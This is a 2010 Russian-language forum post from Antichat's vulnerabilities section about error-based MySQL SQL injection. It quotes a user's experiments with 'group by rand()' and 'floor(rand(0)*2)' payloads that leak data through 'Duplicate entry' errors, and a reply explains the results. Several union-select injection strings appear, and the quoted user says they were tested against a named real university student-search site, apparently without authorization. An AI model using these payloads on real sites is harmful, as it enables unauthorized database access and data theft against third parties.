ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 14.06.2010, 23:46
v1d0qz
Познающий
Регистрация: 21.07.2007
Сообщений: 68
Провел на форуме:
947074

Репутация: 257
По умолчанию

Цитата:
Сообщение от BlackFan  
Эксперементирую с group by rand()...

На 5 версии
Код:
select count(0) from table group by concat(version(),x)
x = floor(rand(0)*2) или rand(0)|0 или rand(0)&1 или rand()^0
выдает Duplicate entry
x = rand(0)
выполняется без ошибок.

Решил проверить на 4 версии. (Проверял на сайте http://decanat5.ssau.ru/search_student в sql-inj)
И вот тут результаты просто поставили в ступор
Код:
' union select 1,count(*),3 from student group by concat(version(),rand(0))/*
Выдает Duplicate entry, а
Код:
' union select 1,count(*),3 from student group by concat((select 1),rand(0))/*
нет. В то время как
Код:
' union select 1,count(*),3 from student group by concat(version(),(select 1),rand(0))/*
выдает Duplicate entry, а
Код:
' union select 1,count(*),3 from student group by concat(version(),(select studentid from student limit 1),rand(0))/*
нет.

Так вот вопрос)
1) Почему на 4 версии иногда прокатывает с rand(0), а на 5, сколько не пытался, так и не получилось
2) Почему с floor(rand(0)*2) прокатывает всегда, а с теми же rand(0)|0 работает только на 5 версии
3) Почему вот такой запрос не выдает ошибку, не смотря на то что там floor(rand(0)*2)
Код:
' and (1) = (select count(*) from student group by floor(rand(0)*2))/*
1) На 5, работает практически так же, как и на 4, попадется пример, скину в пм.
2) Самый вероятный вариант, это то, что в 4 версии, символ "|" интерпретируется иначе.
3) По поводу почему у тебя выдает ошибку в случаях, когда её быть не должно. Я полагаю, в union select у тебя идет объединение колонки studentid, которая уже используется в запросе, в результате чего union со своим свойством делейт-дубликат конфликтует и возвращает false в массив, По сути потому что у тебя идёт повторная выборка. Как-то так

Последний раз редактировалось v1d0qz; 14.06.2010 в 23:56..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT.XYZ